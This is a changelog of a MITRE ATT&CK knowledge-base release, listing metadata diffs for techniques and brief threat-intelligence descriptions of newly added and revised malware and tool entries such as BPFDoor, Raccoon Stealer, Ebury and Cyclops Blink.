modified2022-05-05 05:04:14.238000+00:002024-09-12 19:40:12.337000+00:00
external_references[2]['description']Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.
external_references[2]['url']https://twitter.com/dez_/status/986614411711442944https://x.com/dez_/status/986614411711442944
x_mitre_attack_spec_version2.1.03.2.0

mobile-attack

Patches

[T1414] Clipboard Data

Current version: 3.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-16 18:33:20.042000+00:002024-09-12 15:17:00.569000+00:00
external_references[3]['description']Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved September 12, 2024.
external_references[3]['url']http://saschafahl.de/static/paper/pwmanagers2013.pdfhttps://saschafahl.de/static/paper/pwmanagers2013.pdf
x_mitre_attack_spec_version3.1.03.2.0

[T1417.002] Input Capture: GUI Input Capture

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-20 18:55:51.676000+00:002024-09-12 15:20:41.834000+00:00
external_references[3]['description']Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024.
external_references[3]['url']http://cloak-and-dagger.org/https://cloak-and-dagger.org/
x_mitre_attack_spec_version3.1.03.2.0

[T1628.001] Hide Artifacts: Suppress Application Icon

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-20 18:51:29.931000+00:002024-09-12 19:47:06.884000+00:00
external_references[5]['description']NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved September 12, 2024.
external_references[5]['url']https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybankerhttps://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker
x_mitre_attack_spec_version3.1.03.2.0

ics-attack

Patches

[T0814] Denial of Service

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-13 17:56:59.992000+00:002024-10-14 19:00:55.006000+00:00
x_mitre_attack_spec_version3.1.03.2.0

Software

enterprise-attack

New Software

[S1133] Apostle

Current version: 1.0

Description: [Apostle](https://attack.mitre.org/software/S1133) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://attack.mitre.org/software/S1133) is written in .NET and shares various programming and functional overlaps with [IPsec Helper](https://attack.mitre.org/software/S1132).(Citation: SentinelOne Agrius 2021)

[S1136] BFG Agonizer

Current version: 1.0

Description: [BFG Agonizer](https://attack.mitre.org/software/S1136) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://attack.mitre.org/groups/G1030) threat actor.(Citation: Unit42 Agrius 2023)

[S1161] BPFDoor

Current version: 1.0

Description: [BPFDoor](https://attack.mitre.org/software/S1161) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://attack.mitre.org/software/S1161) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://attack.mitre.org/software/S1161) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 2023)

[S1149] CHIMNEYSWEEP

Current version: 1.0

Description: [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is a backdoor malware that was deployed during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.(Citation: Mandiant ROADSWEEP August 2022)

[S1155] Covenant

Current version: 1.0

Description: [Covenant](https://attack.mitre.org/software/S1155) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://attack.mitre.org/groups/G0125) during operations. [Covenant](https://attack.mitre.org/software/S1155) functions through a central listener managing multiple deployed "Grunts" that communicate back to the controller.(Citation: Github Covenant)(Citation: Microsoft HAFNIUM March 2020)

[S1153] Cuckoo Stealer

Current version: 1.0

Description: [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024) +

[S1134] DEADWOOD

Current version: 1.0

Description: [DEADWOOD](https://attack.mitre.org/software/S1134) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://attack.mitre.org/software/S1134) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://attack.mitre.org/groups/G1030) operations.(Citation: SentinelOne Agrius 2021)

[S1158] DUSTPAN

Current version: 1.0

Description: [DUSTPAN](https://attack.mitre.org/software/S1158) is an in-memory dropper written in C/C++ used by [APT41](https://attack.mitre.org/groups/G0096) since 2021 that decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)

[S1159] DUSTTRAP

Current version: 1.0

Description: [DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)

[S1144] FRP

Current version: 1.0

Description: [FRP](https://attack.mitre.org/software/S1144), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://attack.mitre.org/software/S1144) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.(Citation: FRP GitHub)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: RedCanary Mockingbird May 2020)(Citation: DFIR Phosphorus November 2021)

[S1138] Gootloader

Current version: 1.0

Description: [Gootloader](https://attack.mitre.org/software/S1138) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://attack.mitre.org/software/S0154), [REvil](https://attack.mitre.org/software/S0496), and others. [Gootloader](https://attack.mitre.org/software/S1138) operates on an "Initial Access as a Service" model and has leveraged [SEO Poisoning](https://attack.mitre.org/techniques/T1608/006) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)

[S1152] IMAPLoader

Current version: 1.0

Description: [IMAPLoader](https://attack.mitre.org/software/S1152) is a .NET-based loader malware exclusively associated with [CURIUM](https://attack.mitre.org/groups/G1012) operations since at least 2022. [IMAPLoader](https://attack.mitre.org/software/S1152) leverages email protocols for command and control and payload delivery.(Citation: PWC Yellow Liderc 2023)

[S1139] INC Ransomware

Current version: 1.0

Description: [INC Ransomware](https://attack.mitre.org/software/S1139) is a ransomware strain that has been used by the [INC Ransom](https://attack.mitre.org/groups/G1032) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://attack.mitre.org/software/S1139) can employ partial encryption combined with multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)

[S1132] IPsec Helper

Current version: 1.0

Description: [IPsec Helper](https://attack.mitre.org/software/S1132) is a post-exploitation remote access tool linked to [Agrius](https://attack.mitre.org/groups/G1030) operations. This malware shares significant programming and functional overlaps with [Apostle](https://attack.mitre.org/software/S1133) ransomware, also linked to [Agrius](https://attack.mitre.org/groups/G1030). [IPsec Helper](https://attack.mitre.org/software/S1132) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.(Citation: SentinelOne Agrius 2021)

[S1160] Latrodectus

Current version: 1.0

Description: [Latrodectus](https://attack.mitre.org/software/S1160) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://attack.mitre.org/software/S1160) has most often been distributed through email campaigns, primarily by [TA577](https://attack.mitre.org/groups/G1037) and [TA578](https://attack.mitre.org/groups/G1038), and has infrastructure overlaps with historic [IcedID](https://attack.mitre.org/software/S0483) operations.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)(Citation: Bitsight Latrodectus June 2024)

[S1143] LunarLoader

Current version: 1.0

Description: [LunarLoader](https://attack.mitre.org/software/S1143) is the loader component for the [LunarWeb](https://attack.mitre.org/software/S1141) and [LunarMail](https://attack.mitre.org/software/S1142) backdoors that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://attack.mitre.org/software/S1143) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.(Citation: ESET Turla Lunar toolset May 2024)

[S1142] LunarMail

Current version: 1.0

Description: [LunarMail](https://attack.mitre.org/software/S1142) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarWeb](https://attack.mitre.org/software/S1141). [LunarMail](https://attack.mitre.org/software/S1142) is designed to be deployed on workstations and can use email messages and [Steganography](https://attack.mitre.org/techniques/T1001/002) in command and control.(Citation: ESET Turla Lunar toolset May 2024)

[S1141] LunarWeb

Current version: 1.0

Description: [LunarWeb](https://attack.mitre.org/software/S1141) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarMail](https://attack.mitre.org/software/S1142). [LunarWeb](https://attack.mitre.org/software/S1141) has only been observed deployed against servers and can use [Steganography](https://attack.mitre.org/techniques/T1001/002) to obfuscate command and control.(Citation: ESET Turla Lunar toolset May 2024)

[S1156] Manjusaka

Current version: 1.0

Description: [Manjusaka](https://attack.mitre.org/software/S1156) is a Chinese-language intrusion framework, similar to [Sliver](https://attack.mitre.org/software/S0633) and [Cobalt Strike](https://attack.mitre.org/software/S0154), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://attack.mitre.org/software/S1156) consists of multiple components, only one of which (a command and control module) is freely available.(Citation: Talos Manjusaka 2022)

[S1146] MgBot

Current version: 1.0

Description: [MgBot](https://attack.mitre.org/software/S1146) is a modular malware framework exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations since at least 2012. [MgBot](https://attack.mitre.org/software/S1146) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.(Citation: Szappanos MgBot 2014)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)

[S1137] Moneybird

Current version: 1.0

Description: [Moneybird](https://attack.mitre.org/software/S1137) is a ransomware variant written in C++ associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. The name "Moneybird" is contained in the malware's ransom note and as strings in the executable.(Citation: CheckPoint Agrius 2023)

[S1135] MultiLayer Wiper

Current version: 1.0

Description: [MultiLayer Wiper](https://attack.mitre.org/software/S1135) is wiper malware written in .NET associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. Observed samples of [MultiLayer Wiper](https://attack.mitre.org/software/S1135) have an anomalous, future compilation date suggesting possible metadata manipulation.(Citation: Unit42 Agrius 2023)

[S1131] NPPSPY

Current version: 1.0

Description: NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.(Citation: Huntress NPPSPY 2022)(Citation: Polak NPPSPY 2004)

[S1147] Nightdoor

Current version: 1.0

Description: [Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)

[S1145] Pikabot

Current version: 1.0

Description: [Pikabot](https://attack.mitre.org/software/S1145) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://attack.mitre.org/software/S1145) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://attack.mitre.org/software/S1145) has some overlaps with [QakBot](https://attack.mitre.org/software/S0650), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://attack.mitre.org/software/S1145) is frequently used to deploy follow on tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) or ransomware variants.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)

[S1162] Playcrypt

Current version: 1.0

Description: [Playcrypt](https://attack.mitre.org/software/S1162) is a ransomware that has been used by [Play](https://attack.mitre.org/groups/G1040) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://attack.mitre.org/software/S1162) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.(Citation: Microsoft PlayCrypt August 2022)(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)

[S1150] ROADSWEEP

Current version: 1.0

Description: [ROADSWEEP](https://attack.mitre.org/software/S1150) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with the [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) backdoor.(Citation: Mandiant ROADSWEEP August 2022)

[S1148] Raccoon Stealer

Current version: 1.0

Description: [Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)

[S1130] Raspberry Robin

Current version: 1.0

Description: [Raspberry Robin](https://attack.mitre.org/software/S1130) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://attack.mitre.org/software/S1130) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://attack.mitre.org/software/S1124), [Cobalt Strike](https://attack.mitre.org/software/S0154), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024) The DLL componenet in the [Raspberry Robin](https://attack.mitre.org/software/S1130) infection chain is also referred to as "Roshtyak."(Citation: Avast RaspberryRobin 2022) The name "Raspberry Robin" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as Storm-0856 by some vendors.(Citation: Microsoft RaspberryRobin 2022)

[S1140] Spica

Current version: 1.0

Description: [Spica](https://attack.mitre.org/software/S1140) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://attack.mitre.org/groups/G1033) since at least 2023.(Citation: Google TAG COLDRIVER January 2024)

[S1010] VPNFilter

Current version: 2.0

Description: [VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)

[S1154] VersaMem

Current version: 1.0

Description: [VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs. [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)

[S1151] ZeroCleare

Current version: 1.0

Description: [ZeroCleare](https://attack.mitre.org/software/S1151) is a wiper malware that has been used in conjunction with the [RawDisk](https://attack.mitre.org/software/S0364) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)(Citation: IBM ZeroCleare Wiper December 2019)

Major Version Changes

[S0414] BabyShark

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-03-12 17:26:12.324000+00:002024-05-06 20:38:32.432000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.22.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'LATEOP', 'description': '(Citation: Mandiant APT43 March 2024)'}
external_references{'source_name': 'Mandiant APT43 March 2024', 'description': 'Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt43-report-en.pdf'}
x_mitre_aliasesLATEOP

[S0377] Ebury

Current version: 2.0

Version changed from: 1.3 → 2.0

+ + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Ebury](https://attack.mitre.org/software/S0377) is an SSH bt1[Ebury](https://attack.mitre.org/software/S0377) is an OpenS
>ackdoor targeting Linux operating systems. Attackers require>SH backdoor and credential stealer targeting Linux servers a
> root-level access, which allows them to replace SSH binarie>nd container hosts developed by [Windigo](https://attack.mit
>s (ssh, sshd, ssh-add, etc) or modify a shared library used >re.org/groups/G0124). [Ebury](https://attack.mitre.org/softw
>by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit>are/S0377) is primarily installed through modifying shared l
>ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu>ibraries (`.so` files) executed by the legitimate OpenSSH pr
>ry Oct 2017)>ogram. First seen in 2009, [Ebury](https://attack.mitre.org/
 >software/S0377) has been used to maintain a botnet of server
 >s, deploy additional malware, and steal cryptocurrency walle
 >ts, credentials, and credit card details.(Citation: ESET Ebu
 >ry Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Ci
 >tation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-23 22:56:14.591000+00:002024-09-20 21:15:51.302000+00:00
description[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)[Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.32.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ESET Ebury May 2024', 'description': 'Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.', 'url': 'https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf'}

[S1016] MacMa

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[MacMa](https://attack.mitre.org/software/S1016) is a macOS-t1[MacMa](https://attack.mitre.org/software/S1016) is a macOS-
>based backdoor with a large set of functionalities to contro>based backdoor with a large set of functionalities to contro
>l and exfiltrate files from a compromised computer. [MacMa](>l and exfiltrate files from a compromised computer. [MacMa](
>https://attack.mitre.org/software/S1016) has been observed i>https://attack.mitre.org/software/S1016) has been observed i
>n the wild since November 2021.(Citation: ESET DazzleSpy Jan>n the wild since November 2021.(Citation: ESET DazzleSpy Jan
> 2022)> 2022) [MacMa](https://attack.mitre.org/software/S1016) shar
 >es command and control and unique libraries with [MgBot](htt
 >ps://attack.mitre.org/software/S1146) and [Nightdoor](https:
 >//attack.mitre.org/software/S1147), indicating a relationshi
 >p with the [Daggerfly](https://attack.mitre.org/groups/G1034
 >) threat actor.(Citation: Symantec Daggerfly 2024)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-24 18:52:29.002000+00:002024-07-26 17:48:10.580000+00:00
description[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022)[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)
x_mitre_attack_spec_version3.0.03.2.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Symantec Daggerfly 2024', 'description': 'Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.', 'url': 'https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset'}

[S1017] OutSteel

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + +

Old Description
New Description
t1[OutSteel](https://attack.mitre.org/software/S1017) is a filt1[OutSteel](https://attack.mitre.org/software/S1017) is a fil
>e uploader and document stealer developed with the scripting>e uploader and document stealer developed with the scripting
> language AutoIT that has been used by [Ember Bear](https://> language AutoIT that has been used by [Saint Bear](https://
>attack.mitre.org/groups/G1003) since at least March 2021.(Ci>attack.mitre.org/groups/G1031) since at least March 2021.(Ci
>tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )>tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['OutSteel']
values_changed
STIX FieldOld valueNew Value
modified2022-06-09 18:53:30.145000+00:002024-10-08 20:11:00.316000+00:00
description[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.02.0

[S1018] Saint Bot

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + +

Old Description
New Description
t1[Saint Bot](https://attack.mitre.org/software/S1018) is a .Nt1[Saint Bot](https://attack.mitre.org/software/S1018) is a .N
>ET downloader that has been used by [Ember Bear](https://att>ET downloader that has been used by [Saint Bear](https://att
>ack.mitre.org/groups/G1003) since at least March 2021.(Citat>ack.mitre.org/groups/G1031) since at least March 2021.(Citat
>ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto >ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto 
>Unit 42 OutSteel SaintBot February 2022 )>Unit 42 OutSteel SaintBot February 2022 )
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_aliases['Saint Bot']
values_changed
STIX FieldOld valueNew Value
modified2022-06-09 19:56:56.809000+00:002024-10-08 20:10:44.570000+00:00
description[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )[Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.02.0
Minor Version Changes

[S0073] ASPXSpy

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2022-09-22 20:56:06.265000+00:002024-05-22 19:06:12.701000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.21.3

[S0552] AdFind

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 03:49:04.493000+00:002024-09-25 15:21:53.462000+00:00
x_mitre_version1.41.5

[S1025] Amadey

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-14 21:33:47.608000+00:002024-05-07 19:11:33.669000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1

[S0521] BloodHound

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-09 18:00:13.178000+00:002024-09-25 20:33:37.892000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.51.6

[S1063] Brute Ratel C4

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-17 21:44:03.462000+00:002024-09-19 15:46:58.008000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1

[S1039] Bumblebee

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 21:43:41.253000+00:002024-09-17 17:58:55.921000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1

[S0154] Cobalt Strike

Current version: 1.13

Version changed from: 1.12 → 1.13

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:05:58.343000+00:002024-09-25 20:32:57.099000+00:00
x_mitre_version1.121.13

[S0687] Cyclops Blink

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + +

Old Description
New Description
t1[Cyclops Blink](https://attack.mitre.org/software/S0687) is t1[Cyclops Blink](https://attack.mitre.org/software/S0687) is 
>a modular malware that has been used in widespread campaigns>a modular malware that has been used in widespread campaigns
> by [Sandworm Team](https://attack.mitre.org/groups/G0034) s> by [Sandworm Team](https://attack.mitre.org/groups/G0034) s
>ince at least 2019 to target Small/Home Office (SOHO) networ>ince at least 2019 to target Small/Home Office (SOHO) networ
>k devices, including WatchGuard and Asus.(Citation: NCSC Cyc>k devices, including WatchGuard and Asus. [Cyclops Blink](ht
>lops Blink February 2022)(Citation: NCSC CISA Cyclops Blink >tps://attack.mitre.org/software/S0687) is assessed to be a r
>Advisory February 2022)(Citation: Trend Micro Cyclops Blink >eplacement for [VPNFilter](https://attack.mitre.org/software
>March 2022)>/S1010), a similar platform targeting network devices.(Citat
 >ion: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA C
 >yclops Blink Advisory February 2022)(Citation: Trend Micro C
 >yclops Blink March 2022)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-14 17:00:26.886000+00:002024-08-15 22:36:30.074000+00:00
